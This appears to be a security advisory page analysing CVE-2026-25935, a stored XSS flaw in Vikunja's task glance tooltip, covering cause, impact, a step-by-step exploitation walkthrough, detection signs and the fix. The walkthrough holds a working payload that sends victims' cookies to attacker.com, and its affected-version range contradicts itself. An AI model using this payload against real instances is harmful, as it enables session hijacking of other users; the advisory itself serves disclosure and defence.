CVE-2026-25935: 
NixOS vulnerability analysis and mitigation

CVE-2026-25935 is a stored Cross-Site Scripting (XSS) vulnerability in Vikunja, an open-source todo/task management application, affecting all versions prior to 1.1.0 (specifically versions >= 1.0.0 and <= 0.24.6 of the Go API package). The flaw exists in the TaskGlanceTooltip.vue frontend component, which renders unescaped task descriptions via innerHTML, allowing a malicious authenticated user to inject and execute arbitrary scripts in other users' browsers when they hover over a task preview. It was published and disclosed on February 11, 2026. The vulnerability carries a CVSS v3.1 score of 5.4 (Medium) and a CVSS v4.0 score of 8.6 (High) (Github Advisory, Vikunja Security Advisory).

The root cause is improper neutralization of script-related HTML tags (CWE-80) and cross-site scripting (CWE-79) due to the absence of input sanitization on both the server and client sides. In frontend/src/components/tasks/partials/TaskGlanceTooltip.vue, the component created a detached div element and assigned the raw, unescaped task description directly to div.innerHTML to extract plain text — a pattern that causes the browser to parse and potentially execute embedded HTML/JavaScript. An attacker with any level of authenticated access can exploit this by using the Vikunja API to set a task description containing a malicious HTML payload (e.g., <img src=x onerror=alert(1)>), share the project with a victim, and trigger script execution when the victim hovers over the task to view its preview tooltip (Github Advisory, Patch Commit).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browser context of any other user on the same Vikunja instance who hovers over the malicious task. This can lead to session hijacking (theft of authentication tokens/cookies), credential theft, unauthorized actions performed on behalf of the victim (such as modifying or deleting tasks and projects), and potential defacement of the user interface. The impact is scoped to the affected Vikunja instance and does not affect the underlying server directly, but the high confidentiality and integrity impact scores reflect the risk of full account takeover for targeted users (Github Advisory, Vikunja Security Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.015% (3rd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker account and passive user interaction (hovering over a task), but no special privileges beyond a standard user account are needed, lowering the barrier for abuse within multi-user instances (Github Advisory, Feedly).

1. Obtain an account: Register or log in to the target Vikunja instance with any standard user account.
2. Create a project: Use the Vikunja web UI or API to create a new project.
3. Create a task: Create a task within the project with any initial description.
4. Inject malicious payload via API: Use the Vikunja REST API to update the task's description with an unescaped HTML/JavaScript payload, for example:

   PATCH /api/v1/tasks/{taskID}
   {"description": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"}

5. Share the project: Share the project with the target victim user, granting any permission level (read access is sufficient).
6. Social engineer the victim: Instruct or entice the victim to view the project's task list in the Vikunja UI.
7. Trigger XSS on hover: When the victim hovers over the malicious task to view its glance tooltip/preview, the TaskGlanceTooltip.vue component sets innerHTML to the unescaped description, causing the injected script to execute in the victim's browser context, potentially exfiltrating session cookies or performing actions as the victim (Github Advisory, Vikunja Security Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains (e.g., attacker-controlled servers) originating from Vikunja page sessions; unusual GET/POST requests to external URLs containing encoded cookie or session data in query parameters.
• Logs: Vikunja API logs showing PATCH /api/v1/tasks/{id} requests where the description field contains raw HTML tags such as <script>, <img>, <svg>, or onerror= attributes; API calls to update task descriptions from accounts that do not typically use the API directly.
• Application Behavior: Task descriptions in the database containing unescaped HTML or JavaScript (e.g., <script>, onerror=, javascript: URIs) when inspected directly.
• Browser/Client: Browser developer tool console errors or network requests to unexpected external hosts triggered when hovering over task previews in the Vikunja UI.

The vulnerability is fixed in Vikunja version 1.1.0, released February 9, 2026. The patch replaces the unsafe innerHTML assignment on a detached div with DOMParser().parseFromString(), which safely parses HTML without executing embedded scripts (Patch Commit, v1.1.0 Release). All users running Vikunja versions prior to 1.1.0 should upgrade immediately. As a supplementary measure, administrators should implement a strict Content Security Policy (CSP) header to limit script execution sources, and monitor API logs for suspicious task description updates containing HTML tags (Github Advisory).

The vulnerability was reported by security researcher supercoolspy and published by Vikunja maintainer kolaente on February 11, 2026. Several security community blogs and aggregators covered the disclosure, including posts on dev.to and infinitsec.net highlighting the "XSS on hover" attack pattern as a notable example of unsafe innerHTML usage in Vue.js components. The Vikunja project noted in the v1.1.0 release that it contains a security fix and that upgrading is "highly recommended" (v1.1.0 Release, Vikunja Security Advisory).